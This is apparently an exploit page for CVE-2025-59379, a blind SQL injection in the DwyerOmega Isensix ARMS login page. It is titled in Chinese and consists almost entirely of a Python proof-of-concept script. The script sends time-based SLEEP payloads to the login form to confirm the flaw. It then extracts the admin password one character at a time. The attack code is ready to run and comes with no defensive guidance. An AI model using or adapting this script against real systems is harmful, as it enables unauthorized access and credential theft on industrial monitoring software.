CVE-2025-59379: DwyerOmega Isensix ARMS登录页面Blind SQL注入漏洞

import requests import time import string target_url = "http://target-arms-server/login" def blind_sql_injection_test(): # Test for blind SQL injection vulnerability # This PoC demonstrates extracting admin password character by character charset = string.ascii_lowercase + string.digits + string.punctuation extracted_password = "" print("[*] Testing for Blind SQL Injection vulnerability...") # Test payload to confirm vulnerability (time-based) test_payload_true = "admin' AND (SELECT COUNT(*) FROM users) > 0 AND SLEEP(5)--" test_payload_false = "admin' AND (SELECT COUNT(*) FROM users) < 0 AND SLEEP(5)--" start = time.time() requests.post(target_url, data={"user": test_payload_true, "password": "test"}) true_time = time.time() - start start = time.time() requests.post(target_url, data={"user": test_payload_false, "password": "test"}) false_time = time.time() - start if true_time > 4 and false_time < 2: print("[+] Blind SQL Injection vulnerability confirmed!") # Extract password character by character for position in range(1, 33): # Assuming 32 char password max for char in charset: payload = f"admin' AND (SELECT SUBSTRING(password,{position},1) FROM users WHERE username='admin')='{char}' AND SLEEP(3)--" start = time.time() requests.post(target_url, data={"user": payload, "password": "test"}) elapsed = time.time() - start if elapsed > 2: extracted_password += char print(f"[+] Position {position}: {char} (Password so far: {extracted_password})") break print(f"\n[+] Extracted admin password: {extracted_password}") else: print("[-] Vulnerability not detected or target not vulnerable") if __name__ == "__main__": blind_sql_injection_test()